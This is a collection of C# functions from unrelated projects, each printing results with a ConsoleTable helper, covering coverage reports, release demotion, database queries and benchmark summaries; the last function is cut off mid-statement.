public static void ReadDecompositions() { string[] files = Directory.GetFiles("Decompositions/DoubleBFS", "*.bdc", SearchOption.AllDirectories).ToArray(); ConsoleTable<ExpandoObject> table = new ConsoleTable<ExpandoObject>(); table.Columns.Add(new ConsoleColumn<ExpandoObject>("Name", "{0}", files.Max(s => s.Length) - "Decompositions\\".Length, s => s.GetOrNull("Name"))); table.Columns.Add(new ConsoleColumn<ExpandoObject>("#V", "{0}", 4, s => s.GetOrNull("Vertices"))); table.Columns.Add(new ConsoleColumn<ExpandoObject>("BW", "{0:0.00}", 5, s => s.GetOrNull("BooleanWidth"))); table.Columns.Add(new ConsoleColumn<ExpandoObject>("LBW", "{0:0.00}", 5, s => s.GetOrNull("LinearBooleanWidth"))); table.Columns.Add(new ConsoleColumn<ExpandoObject>("Size", "{0}", 5, s => s.GetOrNull("Size"))); table.Columns.Add(new ConsoleColumn<ExpandoObject>("Size right", "{0}", 10, s => s.GetOrNull("RightSize"))); table.Columns.Add(new ConsoleColumn<ExpandoObject>("DFS", "{0:0.00}", 5, s => s.GetOrNull("DFS"))); table.Columns.Add(new ConsoleColumn<ExpandoObject>("DFS Time", "{0}", 20, s => s.GetOrNull("DFSTime"))); IDictionary<string, Graph> graphs = new Dictionary<string, Graph>(); dynamic[] expandos = new dynamic[files.Length]; for(int i = 0; i < files.Length; i++) { dynamic obj = new ExpandoObject(); table.Rows.Add(obj); obj.FileName = files[i]; obj.Name = files[i].Substring("Decompositions\\".Length); expandos[i] = obj; string graph = Path.GetFileNameWithoutExtension(files[i]); if (!graphs.ContainsKey(graph)) { using ( StreamReader reader = new StreamReader( File.Open("Graphs/sadiagraphs/" + Path.GetFileNameWithoutExtension(files[i]) + ".dgf", FileMode.Open))) { graphs[graph] = Graph.Read(reader); } } } Parallel.ForEach(expandos, dyn => //foreach (dynamic dyn in expandos) { using (StreamReader decompReader = new StreamReader(File.Open(dyn.FileName, FileMode.Open))) { Graph graph = graphs[Path.GetFileNameWithoutExtension(dyn.FileName)]; dyn.Vertices = graph.Vertices.Count; Decomposition decomposition = Decomposition.Read(decompReader, graph); BinTree tree = (BinTree)decomposition.Tree; tree.Tilt(); decomposition = new Decomposition(graph, (Tree)tree); dyn.BooleanWidth = decomposition.BooleanWidth; { int size = 0; BitSet parent = decomposition.Tree.Root; do { size = Math.Max(size, decomposition.Tree.LeftChild[parent].Count); } while (decomposition.Tree.RightChild.TryGetValue(parent, out parent) && parent.Count > 1); dyn.RightSize = size; } { int size = 0; BitSet parent = decomposition.Tree.Root; do { size += decomposition.Tree.LeftChild[parent].Count - 1; } while (decomposition.Tree.RightChild.TryGetValue(parent, out parent) && parent.Count > 1); dyn.Size = size; } { Stopwatch sw = new Stopwatch(); sw.Start(); LinearDecomposition ld = SemiLinearDecomposer.ConvertDecomposition(decomposition); sw.Stop(); dyn.DFS = ld.BooleanWidth; dyn.DFSTime = sw.Elapsed; } { LinearDecomposition ld = IunHeuristic.Compute(graph, CandidateStrategy.All, InitialVertexStrategy.DoubleBfs); dyn.LinearBooleanWidth = ld.BooleanWidth; SaveDecomposition(ld, Path.GetDirectoryName(dyn.FileName), Path.GetFileNameWithoutExtension(dyn.FileName)); } //SaveDecomposition(decomposition, "NewDec", Path.GetFileNameWithoutExtension(dyn.FileName)); //dyn.BooleanWidth = decomposition.BooleanWidth; } }); }
public void ReportWritesProgress(int threadId, int sent, int prepareTimeouts, int commitTimeouts, int forwardTimeouts, int wrongExpctdVersions, int streamsDeleted, int fails, int requests) { var sentP = ToPercent(sent, requests); var failsP = ToPercent(fails, sent); var table = new ConsoleTable("WRITER ID", "Completed %", "Completed/Total", "Failed %", "Failed/Sent", "Prepare Timeouts", "Commit Timeouts", "Forward Timeouts", "Wrong Versions", "Stream Deleted"); table.AppendRow(threadId.ToString(), string.Format("{0:0.0}%", sentP), string.Format("{0}/{1}", sent, requests), string.Format("{0:0.0}%", failsP), string.Format("{0}/{1}", fails, sent), prepareTimeouts.ToString(), commitTimeouts.ToString(), forwardTimeouts.ToString(), wrongExpctdVersions.ToString(), streamsDeleted.ToString()); if (failsP > 50d) _log.Fatal(table.CreateIndentedTable()); else _log.Info(table.CreateIndentedTable()); }
public string FormatConsole() { var table = new ConsoleTable(); table.AddColumn(this.headers.ToArray()); foreach (var row in this.rows) { table.AddRow(row); } return table.ToString(); }
public void ReportReadsProgress(int threadId, int successes, int fails) { var all = successes + fails; var table = new ConsoleTable("READER ID", "Fails", "Total Random Reads"); table.AppendRow(threadId.ToString(), fails.ToString(), all.ToString()); if (fails != 0) _log.Fatal(table.CreateIndentedTable()); else _log.Info(table.CreateIndentedTable()); }
static void Main(String[] args) { var table = new ConsoleTable("one", "two", "three"); table.AddRow(1, 2, 3) .AddRow("this line should be longer", "yes it is", "oh"); table.Write(); Console.WriteLine(); table = new ConsoleTable("I've", "got", "nothing"); table.Write(); Console.WriteLine(); var rows = Enumerable.Repeat(new Something(), 10); ConsoleTable.From<Something>(rows).Write(); rows = Enumerable.Repeat(new Something(), 0); ConsoleTable.From<Something>(rows).Write(); Console.ReadKey(); }
static void Main(String[] args) { var table = new ConsoleTable("one", "two", "three"); table.AddRow(1, 2, 3) .AddRow("this line should be longer", "yes it is", "oh"); Console.WriteLine("\nFORMAT: Default:\n"); table.Write(); Console.WriteLine("\nFORMAT: MarkDown:\n"); table.Write(Format.MarkDown); Console.WriteLine("\nFORMAT: Alternative:\n"); table.Write(Format.Alternative); Console.WriteLine(); table = new ConsoleTable("I've", "got", "nothing"); table.Write(); Console.WriteLine(); var rows = Enumerable.Repeat(new Something(), 10); ConsoleTable.From<Something>(rows).Write(); rows = Enumerable.Repeat(new Something(), 0); ConsoleTable.From<Something>(rows).Write(); var noCount = new ConsoleTable(new ConsoleTableOptions { Columns = new[] { "one", "two", "three" }, EnableCount = false }); noCount.AddRow(1, 2, 3).Write(); Console.ReadKey(); }
private bool Verify(CommandProcessorContext context, int writers, int readers, int events) { var readStatuses = Enumerable.Range(0, readers).Select(x => new Status(context.Log)).ToArray(); var readNotifications = Enumerable.Range(0, readers).Select(x => new ManualResetEventSlim(false)).ToArray(); var writeStatuses = Enumerable.Range(0, writers).Select(x => new Status(context.Log)).ToArray(); var writeNotifications = Enumerable.Range(0, writers).Select(x => new ManualResetEventSlim(false)).ToArray(); for (int i = 0; i < readers; i++) { var i1 = i; var thread = new Thread(() => Read(readStatuses[i1], i1, context, readNotifications[i1])); thread.IsBackground = true; thread.Start(); } for (int i = 0; i < writers; i++) { var i1 = i; var thread = new Thread(() => Write(writeStatuses[i1], i1, context, events / writers, writeNotifications[i1])); thread.IsBackground = true; thread.Start(); } foreach (var writeNotification in writeNotifications) { writeNotification.Wait(); } _stopReading = true; foreach (var readNotification in readNotifications) { readNotification.Wait(); } context.Log.Info("dvub finished execution : "); var writersTable = new ConsoleTable("WRITER ID", "Status"); foreach (var ws in writeStatuses) { writersTable.AppendRow(ws.ThreadId.ToString(), ws.Success ? "Success" : "Fail"); } var readersTable = new ConsoleTable("READER ID", "Status"); foreach (var rs in readStatuses) { readersTable.AppendRow(rs.ThreadId.ToString(), rs.Success ? "Success" : "Fail"); } context.Log.Info(writersTable.CreateIndentedTable()); context.Log.Info(readersTable.CreateIndentedTable()); var success = writeStatuses.All(s => s.Success) && readStatuses.All(s => s.Success); if (success) context.Success(); else context.Fail(); return success; }
public void NotifyEventVerified(VerificationEvent @event) { var ver = Interlocked.Increment(ref _totalVerified); if (ver % NotificationStep == 0) { var table = new ConsoleTable("WORKER", "VERIFIED"); table.AppendRow("VERIFIER", ver.ToString()); Log.Info(table.CreateIndentedTable()); } var committed = _totalWritten; if (committed == _totalEvents) _doneEvent.Set(); }
public override bool Execute() { try { Console.WriteLine("\nCalculating coverage result..."); IFileSystem fileSystem = DependencyInjection.Current.GetService <IFileSystem>(); if (InstrumenterState is null || !fileSystem.Exists(InstrumenterState.ItemSpec)) { _logger.LogError("Result of instrumentation task not found"); return(false); } Coverage coverage = null; using (Stream instrumenterStateStream = fileSystem.NewFileStream(InstrumenterState.ItemSpec, FileMode.Open)) { var instrumentationHelper = DependencyInjection.Current.GetService <IInstrumentationHelper>(); // Task.Log is teared down after a task and thus the new MSBuildLogger must be passed to the InstrumentationHelper // https://github.com/microsoft/msbuild/issues/5153 instrumentationHelper.SetLogger(_logger); coverage = new Coverage(CoveragePrepareResult.Deserialize(instrumenterStateStream), this._logger, DependencyInjection.Current.GetService <IInstrumentationHelper>(), fileSystem); } try { fileSystem.Delete(InstrumenterState.ItemSpec); } catch (Exception ex) { // We don't want to block coverage for I/O errors _logger.LogWarning($"Exception during instrument state deletion, file name '{InstrumenterState.ItemSpec}' exception message '{ex.Message}'"); } CoverageResult result = coverage.GetCoverageResult(); var directory = Path.GetDirectoryName(_output); if (directory == string.Empty) { directory = Directory.GetCurrentDirectory(); } else if (!Directory.Exists(directory)) { Directory.CreateDirectory(directory); } var formats = _format.Split(','); foreach (var format in formats) { var reporter = new ReporterFactory(format).CreateReporter(); if (reporter == null) { throw new Exception($"Specified output format '{format}' is not supported"); } if (reporter.OutputType == ReporterOutputType.Console) { // Output to console Console.WriteLine(" Outputting results to console"); Console.WriteLine(reporter.Report(result)); } else { ReportWriter writer = new ReportWriter(_coverletMultiTargetFrameworksCurrentTFM, directory, _output, reporter, fileSystem, DependencyInjection.Current.GetService <IConsole>(), result); writer.WriteReport(); } } var thresholdTypeFlags = ThresholdTypeFlags.None; var thresholdStat = ThresholdStatistic.Minimum; foreach (var thresholdType in _thresholdType.Split(',').Select(t => t.Trim())) { if (thresholdType.Equals("line", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlags |= ThresholdTypeFlags.Line; } else if (thresholdType.Equals("branch", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlags |= ThresholdTypeFlags.Branch; } else if (thresholdType.Equals("method", StringComparison.OrdinalIgnoreCase)) { thresholdTypeFlags |= ThresholdTypeFlags.Method; } } if (_thresholdStat.Equals("average", StringComparison.OrdinalIgnoreCase)) { thresholdStat = ThresholdStatistic.Average; } else if (_thresholdStat.Equals("total", StringComparison.OrdinalIgnoreCase)) { thresholdStat = ThresholdStatistic.Total; } var coverageTable = new ConsoleTable("Module", "Line", "Branch", "Method"); var summary = new CoverageSummary(); int numModules = result.Modules.Count; var linePercentCalculation = summary.CalculateLineCoverage(result.Modules); var branchPercentCalculation = summary.CalculateBranchCoverage(result.Modules); var methodPercentCalculation = summary.CalculateMethodCoverage(result.Modules); var totalLinePercent = linePercentCalculation.Percent; var totalBranchPercent = branchPercentCalculation.Percent; var totalMethodPercent = methodPercentCalculation.Percent; var averageLinePercent = linePercentCalculation.AverageModulePercent; var averageBranchPercent = branchPercentCalculation.AverageModulePercent; var averageMethodPercent = methodPercentCalculation.AverageModulePercent; foreach (var module in result.Modules) { var linePercent = summary.CalculateLineCoverage(module.Value).Percent; var branchPercent = summary.CalculateBranchCoverage(module.Value).Percent; var methodPercent = summary.CalculateMethodCoverage(module.Value).Percent; coverageTable.AddRow(Path.GetFileNameWithoutExtension(module.Key), $"{linePercent}%", $"{branchPercent}%", $"{methodPercent}%"); } Console.WriteLine(); Console.WriteLine(coverageTable.ToStringAlternative()); coverageTable.Columns.Clear(); coverageTable.Rows.Clear(); coverageTable.AddColumn(new[] { "", "Line", "Branch", "Method" }); coverageTable.AddRow("Total", $"{totalLinePercent}%", $"{totalBranchPercent}%", $"{totalMethodPercent}%"); coverageTable.AddRow("Average", $"{averageLinePercent}%", $"{averageBranchPercent}%", $"{averageMethodPercent}%"); Console.WriteLine(coverageTable.ToStringAlternative()); thresholdTypeFlags = result.GetThresholdTypesBelowThreshold(summary, _threshold, thresholdTypeFlags, thresholdStat); if (thresholdTypeFlags != ThresholdTypeFlags.None) { var exceptionMessageBuilder = new StringBuilder(); if ((thresholdTypeFlags & ThresholdTypeFlags.Line) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {thresholdStat.ToString().ToLower()} line coverage is below the specified {_threshold}"); } if ((thresholdTypeFlags & ThresholdTypeFlags.Branch) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {thresholdStat.ToString().ToLower()} branch coverage is below the specified {_threshold}"); } if ((thresholdTypeFlags & ThresholdTypeFlags.Method) != ThresholdTypeFlags.None) { exceptionMessageBuilder.AppendLine($"The {thresholdStat.ToString().ToLower()} method coverage is below the specified {_threshold}"); } throw new Exception(exceptionMessageBuilder.ToString()); } } catch (Exception ex) { _logger.LogError(ex); return(false); } return(true); }
public void PrintReport() { ConsoleTable.From(_debugList).Write(); }
static async Task <int> CommandDemoteAsync([NotNull] DemoteOptions options, [NotNull] ISnapFilesystem filesystem, [NotNull] ISnapAppReader snapAppReader, [NotNull] ISnapAppWriter snapAppWriter, [NotNull] INuGetPackageSources nuGetPackageSources, [NotNull] INugetService nugetService, [NotNull] IDistributedMutexClient distributedMutexClient, [NotNull] ISnapPackageManager snapPackageManager, [NotNull] ISnapPack snapPack, [NotNull] ISnapNetworkTimeProvider snapNetworkTimeProvider, [NotNull] ISnapExtractor snapExtractor, [NotNull] ISnapOs snapOs, [NotNull] ISnapxEmbeddedResources snapxEmbeddedResources, [NotNull] ICoreRunLib coreRunLib, [NotNull] ILog logger, [NotNull] string workingDirectory, CancellationToken cancellationToken) { if (options == null) { throw new ArgumentNullException(nameof(options)); } if (filesystem == null) { throw new ArgumentNullException(nameof(filesystem)); } if (snapAppReader == null) { throw new ArgumentNullException(nameof(snapAppReader)); } if (snapAppWriter == null) { throw new ArgumentNullException(nameof(snapAppWriter)); } if (nuGetPackageSources == null) { throw new ArgumentNullException(nameof(nuGetPackageSources)); } if (nugetService == null) { throw new ArgumentNullException(nameof(nugetService)); } if (distributedMutexClient == null) { throw new ArgumentNullException(nameof(distributedMutexClient)); } if (snapPackageManager == null) { throw new ArgumentNullException(nameof(snapPackageManager)); } if (snapPack == null) { throw new ArgumentNullException(nameof(snapPack)); } if (snapNetworkTimeProvider == null) { throw new ArgumentNullException(nameof(snapNetworkTimeProvider)); } if (snapExtractor == null) { throw new ArgumentNullException(nameof(snapExtractor)); } if (snapOs == null) { throw new ArgumentNullException(nameof(snapOs)); } if (snapxEmbeddedResources == null) { throw new ArgumentNullException(nameof(snapxEmbeddedResources)); } if (coreRunLib == null) { throw new ArgumentNullException(nameof(coreRunLib)); } if (logger == null) { throw new ArgumentNullException(nameof(logger)); } if (workingDirectory == null) { throw new ArgumentNullException(nameof(workingDirectory)); } if (options == null) { throw new ArgumentNullException(nameof(options)); } if (nugetService == null) { throw new ArgumentNullException(nameof(nugetService)); } var stopwatch = new Stopwatch(); stopwatch.Restart(); var anyRid = options.Rid == null; var anyVersion = options.FromVersion == null; SnapApp anyRidSnapApp = null; SemanticVersion fromVersion = null; var runtimeIdentifiers = new List <string>(); if (!anyVersion) { if (!SemanticVersion.TryParse(options.FromVersion, out fromVersion)) { Console.WriteLine($"Unable to parse from version: {options.FromVersion}"); return(1); } if (!options.RemoveAll) { Console.WriteLine("You must specify --remove-all if you want to demote releases newer than --from-version."); return(1); } } var snapApps = BuildSnapAppsFromDirectory(filesystem, snapAppReader, workingDirectory); if (!snapApps.Apps.Any()) { return(1); } foreach (var snapsApp in snapApps.Apps) { foreach (var target in snapsApp.Targets.Where(target => anyRid || string.Equals(options.Rid, target.Rid, StringComparison.OrdinalIgnoreCase))) { anyRidSnapApp = snapApps.BuildSnapApp(snapsApp.Id, target.Rid, nuGetPackageSources, filesystem); runtimeIdentifiers.AddRange(snapApps.GetRids(anyRidSnapApp)); break; } } if (anyRidSnapApp == null) { if (anyRid) { logger.Error($"Unable to find application with id: {options.Id}."); return(1); } logger.Error($"Unable to find application with id: {options.Id}. Rid: {options.Rid}"); return(1); } logger.Info('-'.Repeat(TerminalBufferWidth)); Console.WriteLine($"Demoting application with id: {anyRidSnapApp.Id}."); Console.WriteLine($"Runtime identifiers (RID): {string.Join(", ", runtimeIdentifiers)}"); if (anyRid) { if (!logger.Prompt("y|yes", "You have not specified a rid, all releases in listed runtime identifiers will be removed. " + "Do you want to continue? [y|n]") ) { return(1); } } MaybeOverrideLockToken(snapApps, logger, options.Id, options.LockToken); if (string.IsNullOrWhiteSpace(snapApps.Generic.Token)) { logger.Error("Please specify a token in your snapx.yml file. A random UUID is sufficient."); return(1); } logger.Info('-'.Repeat(TerminalBufferWidth)); var packagesDirectory = BuildPackagesDirectory(filesystem, workingDirectory); filesystem.DirectoryCreateIfNotExists(packagesDirectory); await using var distributedMutex = WithDistributedMutex(distributedMutexClient, logger, snapApps.BuildLockKey(anyRidSnapApp), cancellationToken); var tryAcquireRetries = options.LockRetries == -1 ? int.MaxValue : options.LockRetries; if (!await distributedMutex.TryAquireAsync(TimeSpan.FromSeconds(15), tryAcquireRetries)) { logger.Info('-'.Repeat(TerminalBufferWidth)); return(1); } logger.Info('-'.Repeat(TerminalBufferWidth)); logger.Info("Downloading releases nupkg."); var(snapAppsReleases, _, currentReleasesMemoryStream) = await snapPackageManager .GetSnapsReleasesAsync(anyRidSnapApp, logger, cancellationToken); if (currentReleasesMemoryStream != null) { await currentReleasesMemoryStream.DisposeAsync(); } if (snapAppsReleases == null) { return(1); } if (!snapAppsReleases.Any()) { logger.Error($"Releases nupkg does not contain application id: {anyRidSnapApp.Id}"); return(1); } logger.Info($"Downloaded releases nupkg. Current version: {snapAppsReleases.Version}."); var snapAppReleases = options.RemoveAll ? snapAppsReleases.GetReleases(anyRidSnapApp, x => { bool VersionFilter() { return(anyVersion || x.Version > fromVersion); } bool RidFilter() { return(anyRid || x.Target.Rid == anyRidSnapApp.Target.Rid); } return(RidFilter() && VersionFilter()); }) : snapAppsReleases.GetMostRecentReleases(anyRidSnapApp, x => anyRid || x.Target.Rid == anyRidSnapApp.Target.Rid); if (!snapAppReleases.Any()) { logger.Error("Unable to find any releases that matches demotion criterias."); return(1); } logger.Info('-'.Repeat(TerminalBufferWidth)); var consoleTable = new ConsoleTable("Rid", "Channels", "Version", "Count") { Header = $"Demote summary overview. Total releases: {snapAppReleases.Count()}." }; foreach (var(rid, releases) in snapAppReleases.ToDictionaryByKey(x => x.Target.Rid)) { var channels = releases.SelectMany(x => x.Channels).Distinct().ToList(); var releaseVersion = options.RemoveAll ? "All versions" : releases.First().Version.ToString(); consoleTable.AddRow(new object[] { rid, string.Join(", ", channels), releaseVersion, releases.Count.ToString() }); } consoleTable.Write(logger); if (!logger.Prompt("y|yes", "Ready to demote releases. Do you want to continue? [y|n]")) { return(1); } logger.Info('-'.Repeat(TerminalBufferWidth)); logger.Info($"Retrieving network time from: {snapNetworkTimeProvider}."); var nowUtc = await SnapUtility.RetryAsync(async() => await snapNetworkTimeProvider.NowUtcAsync(), 3); if (!nowUtc.HasValue) { logger.Error($"Unknown error retrieving network time from: {snapNetworkTimeProvider}"); return(1); } var localTimeStr = TimeZoneInfo .ConvertTimeFromUtc(nowUtc.Value, TimeZoneInfo.Local) .ToString("F", CultureInfo.CurrentCulture); logger.Info($"Successfully retrieved network time. Time is now: {localTimeStr}"); logger.Info('-'.Repeat(TerminalBufferWidth)); var snapAppsReleasesDemotedCount = snapAppsReleases.Demote(snapAppReleases); if (snapAppsReleasesDemotedCount != snapAppReleases.Count()) { logger.Error("Unknown error when removing demoted releases. " + $"Expected to remove {snapAppReleases.Count()} but only {snapAppsReleasesDemotedCount} was removed."); return(1); } logger.Info("Building releases nupkg. " + $"Current database version: {snapAppsReleases.Version}. " + $"Releases count: {snapAppsReleases.Count()}."); var releasesMemoryStream = !snapAppsReleases.Any() ? snapPack.BuildEmptyReleasesPackage(anyRidSnapApp, snapAppsReleases) : snapPack.BuildReleasesPackage(anyRidSnapApp, snapAppsReleases); var releasesNupkgAbsolutePath = snapOs.Filesystem.PathCombine(packagesDirectory, anyRidSnapApp.BuildNugetReleasesFilename()); var releasesNupkgFilename = filesystem.PathGetFileName(releasesNupkgAbsolutePath); await snapOs.Filesystem.FileWriteAsync(releasesMemoryStream, releasesNupkgAbsolutePath, cancellationToken); logger.Info("Finished building releases nupkg.\n" + $"Filename: {releasesNupkgFilename}.\n" + $"Size: {releasesMemoryStream.Length.BytesAsHumanReadable()}.\n" + $"New database version: {snapAppsReleases.Version}.\n" + $"Pack id: {snapAppsReleases.PackId:N}."); logger.Info('-'.Repeat(TerminalBufferWidth)); var anySnapTargetDefaultChannel = anyRidSnapApp.Channels.First(); var nugetSources = anyRidSnapApp.BuildNugetSources(filesystem.PathGetTempPath()); var packageSource = nugetSources.Items.Single(x => x.Name == anySnapTargetDefaultChannel.PushFeed.Name); await PushPackageAsync(nugetService, filesystem, distributedMutex, nuGetPackageSources, packageSource, anySnapTargetDefaultChannel, releasesNupkgAbsolutePath, cancellationToken, logger); await BlockUntilSnapUpdatedReleasesNupkgAsync(logger, snapPackageManager, snapAppsReleases, anyRidSnapApp, anySnapTargetDefaultChannel, TimeSpan.FromSeconds(15), cancellationToken); logger.Info('-'.Repeat(TerminalBufferWidth)); await CommandRestoreAsync(new RestoreOptions { Id = anyRidSnapApp.Id, Rid = anyRid ? null : anyRidSnapApp.Target.Rid, BuildInstallers = true }, filesystem, snapAppReader, snapAppWriter, nuGetPackageSources, snapPackageManager, snapOs, snapxEmbeddedResources, coreRunLib, snapPack, logger, workingDirectory, cancellationToken); logger.Info('-'.Repeat(TerminalBufferWidth)); logger.Info($"Fetching releases overview from feed: {anySnapTargetDefaultChannel.PushFeed.Name}"); await CommandListAsync(new ListOptions { Id = anyRidSnapApp.Id }, filesystem, snapAppReader, nuGetPackageSources, nugetService, snapExtractor, logger, workingDirectory, cancellationToken); logger.Info('-'.Repeat(TerminalBufferWidth)); logger.Info($"Demote completed in {stopwatch.Elapsed.TotalSeconds:F1}s."); return(0); }
private void AfficherPays() { List <string> Pays = Contexte.GetPaysFournisseurs(); ConsoleTable.From(Pays, "Pays").Display("pays"); }
public static void PretrazivanjeKnjiga() { /* * * ---------------------------------------------- * * Funkcija koja omogućuje korisniku pretraživanje * određene knjige. * * ---------------------------------------------- * */ int redniBroj = 1; string tekst = "Pokrenuto je pretraživanje knjiga"; Loganje(tekst); DohvatiAutore(); DohvatiKnjige(); var ttable = new ConsoleTable("Rbr", "Šifra", "Naziv", "Autor", "Godina Izdavanja"); Console.WriteLine("1-po dijelu naziva\n2-po dijelu naziva autora\n3-po godini(manje - više)\nENTER-Izlaz na glavni izbornik"); string izbor; int odabir1; izbor = Console.ReadLine(); if (izbor == "") { Console.Clear(); TkojePrijavljen(); } odabir1 = Convert.ToInt32(izbor); switch (odabir1) { case 1: { Console.Clear(); izbor1: Console.Write("Unesite dio naziva knjige: "); string nazivDio = Console.ReadLine(); if (nazivDio == "") { Console.Clear(); goto izbor1; } foreach (var Knjiga in Knjige) { if (Knjiga.naziv.Contains(nazivDio.ToUpper())) { foreach (var Autor in Autori) { if (Knjiga.autorID == Autor.redniBroj) { ttable.AddRow(redniBroj++, Knjiga.sifra, Knjiga.naziv, Autor.imeAutora, Knjiga.godinaIzadavanja); } } } } ttable.Write(); Console.ReadKey(); break; } case 2: { Console.Clear(); izbor2: Console.Write("Unesite dio naziva autora: "); string nazAutor = Console.ReadLine(); if (nazAutor == "") { Console.Clear(); goto izbor2; } foreach (var Autor in Autori) { if (Autor.imeAutora.ToLower().Contains(nazAutor.ToLower())) { foreach (var Knjiga in Knjige) { if (Knjiga.autorID == Autor.redniBroj) { ttable.AddRow(redniBroj++, Knjiga.sifra, Knjiga.naziv, Autor.imeAutora, Knjiga.godinaIzadavanja); } } } } ttable.Write(); Console.ReadKey(); break; } case 3: { Console.Clear(); izbor3: Console.Write("Unesite godinu izdanja: "); string godinaIz = Console.ReadLine(); int ukupnoKnjiga = 0; int BrGod = 0; if (godinaIz == "") { Console.Clear(); goto izbor3; } foreach (var Knjiga in Knjige) { if (Knjiga.godinaIzadavanja == godinaIz) { foreach (var Autor in Autori) { if (Knjiga.autorID == Autor.redniBroj) { ttable.AddRow(redniBroj++, Knjiga.sifra, Knjiga.naziv, Autor.imeAutora, Knjiga.godinaIzadavanja); BrGod++; } } } ukupnoKnjiga++; } ttable.Write(); double postotak = (Convert.ToDouble(BrGod) / Convert.ToDouble(ukupnoKnjiga) * 100); Console.WriteLine("Postotak knjiga {0}. godine od sveukupnog broja knjiga je: ", godinaIz); Console.WriteLine("{0}%", postotak); //Console.Write(postotak.ToString("P2", CultureInfo.InvariantCulture)); Console.ReadKey(); break; } default: { break; } } }
static void Block() { Console.WriteLine("Type IDs you want to block. Seperate by ','." + "If you don't want to block anyone, just type '~' and press enter:\n\n"); // displaying users string conString = "Server=(LocalDb)\\MSSQLLocalDB;Database=Foofle;Trusted_Connection=true"; using SqlConnection con = new SqlConnection(conString); // Set up a command with the given query and associate this with the current connection. using SqlCommand cmd = new SqlCommand("GetUsers", con) { CommandType = CommandType.StoredProcedure }; cmd.Parameters.Add(new SqlParameter("@MSG", SqlDbType.NVarChar, 512)).Direction = ParameterDirection.Output; // Open connection to the database con.Open(); // create data adapter and data table DataTable dataTable = new DataTable(); SqlDataAdapter da = new SqlDataAdapter(cmd); da.Fill(dataTable); // displaying table var table = new ConsoleTable("ID", "Username"); var RowArray = new ArrayList(); foreach (DataRow row in dataTable.Rows) { RowArray.Clear(); foreach (var item in row.ItemArray) { RowArray.Add(item); } table.AddRow(RowArray.ToArray()); } table.Write(); // read output value from @MSG MSG = cmd.Parameters["@MSG"].Value.ToString(); Console.WriteLine(MSG); con.Close(); da.Dispose(); // END of displaying Console.WriteLine("\n\nIDs:"); String IDs = Console.ReadLine(); // Set up a command with the given query and associate this with the current connection. using SqlCommand cmd2 = new SqlCommand("Edit", con) { CommandType = CommandType.StoredProcedure }; cmd2.Parameters.Add(new SqlParameter("@Password", DBNull.Value)); cmd2.Parameters.Add(new SqlParameter("@PrimaryPhone", DBNull.Value)); cmd2.Parameters.Add(new SqlParameter("@FirstName", DBNull.Value)); cmd2.Parameters.Add(new SqlParameter("@LastName", DBNull.Value)); cmd2.Parameters.Add(new SqlParameter("@Phone", DBNull.Value)); cmd2.Parameters.Add(new SqlParameter("@BirthDate", DBNull.Value)); cmd2.Parameters.Add(new SqlParameter("@Nickname", DBNull.Value)); cmd2.Parameters.Add(new SqlParameter("@IDNumber", DBNull.Value)); cmd2.Parameters.Add(new SqlParameter("@Address", DBNull.Value)); if (IDs == "~") { cmd2.Parameters.Add(new SqlParameter("@DoNotShare", DBNull.Value)); } else { cmd2.Parameters.Add(new SqlParameter("@DoNotShare", IDs)); } cmd2.Parameters.Add(new SqlParameter("@MSG", SqlDbType.NVarChar, 512)).Direction = ParameterDirection.Output; // Open connection to the database con.Open(); cmd2.ExecuteNonQuery(); // read output value from @MSG MSG = cmd2.Parameters["@MSG"].Value.ToString(); Console.WriteLine(MSG); con.Close(); }
private async Task ShowAllOrdersWithStatus() { var status = SelectOrderStatus(); _printer.Clear(); _printer.WriteLine("CHANNEL ENGINE CONSOLE\n"); try { var result = await _apiService.GetOrdersWithStatus(status); var response = result.ToArray(); if (response.Any()) { var table = new ConsoleTable("ID", "Channel name", "No of products"); foreach (var order in response) { table.AddRow(order.Id, order.ChannelName, order.Lines.Sum(l => l.Quantity)); } _printer.WriteTable(table, Format.Minimal); } else { _printer.WriteLine("No data to display."); _printer.WriteLine(); _printer.WriteLine("Press any key to return..."); Console.ReadKey(); return; } while (true) { _printer.WriteLine("1) Get top 5 products sold"); _printer.WriteLine("0) Return to main menu"); _printer.WriteLine(); var key = Console.ReadKey().Key; switch (key) { case ConsoleKey.D1: await ShowTopFiveProducts(response); break; case ConsoleKey.D0: break; default: Console.WriteLine("\nInvalid option selected. Try again..."); continue; } break; } } catch (ChannelEngineApiClientException apiClientException) { HandleException(apiClientException); } }
public IOutputTable Add(ConsoleTable table) { //WrapOutputerRadar.CalculateBoundaries(table); _tables.Add(table); return(this); }
public _BaseOutputTable(ConsoleTable table, WrapOutputerOptions options) : this(new List <ConsoleTable> { table }, options) { }
private void RemoveColumnHeader(ConsoleTable table) { table.Rows.RemoveAt(0); table.OtherOptions.IsFirstRowAsHeader = false; }
private static async System.Threading.Tasks.Task Main(string[] args) { IServiceCollection services = new ServiceCollection(); services.AddDataTransferServices(); using var serviceProvider = services.BuildServiceProvider(); var dataTransfer = serviceProvider.GetService <ReportGeneratorService>(); Console.OutputEncoding = System.Text.Encoding.Unicode; // allow printing of unicode character i.e € symbol Console.WriteLine("Hello Welcome to....... "); Console.WriteLine("Please copy the file path to where the CSV is stored or copy the http link where the data can be requested"); string userInput = Console.ReadLine(); List <BetData> betData = new List <BetData>(); if (userInput.Length >= 3 && userInput.EndsWith(".csv")) // check is csv { // TODO: Add exception handling Console.WriteLine("Trying to read data from the csv file.."); betData = CsvParser.ParseCsv <BetData>(userInput); //Success message here } if (userInput.Contains("http")) { try { Console.WriteLine($"Data will be requested from {userInput}"); // validate that you can make request betData = (List <BetData>) await dataTransfer.GetBetDataApi(userInput); } catch (Exception ex) { Console.WriteLine($"An exception occured when trying to obtain data from {userInput}\n{ex}"); throw; } } // Type of Report to be Generated Console.WriteLine("\nHow would you like the data outputed?" + "\nPress 1 for it to be outputed to the console or 2 for it to written to a CSV file"); string input = Console.ReadLine(); if (input.Equals("1")) { ReportType reportType = TypeOfReport(); if (reportType == ReportType.Report1) { var report1 = dataTransfer.GenerateReport1(betData); // make method here for generating console report ConsoleTable .From(report1.Select(x => new Report1 { Currency = x.Currency.ToString(), SelectionName = x.SelectionName, TotalStakes = $"{CurrencyHelper.GetCurrencySymbol(x.Currency.ToString())}{x.TotalStakes:F}", TotalLiability = $"{CurrencyHelper.GetCurrencySymbol(x.Currency.ToString())}{x.TotalLiability:F}", NumberOfBets = x.NumberOfBets })) .Configure(o => o.NumberAlignment = 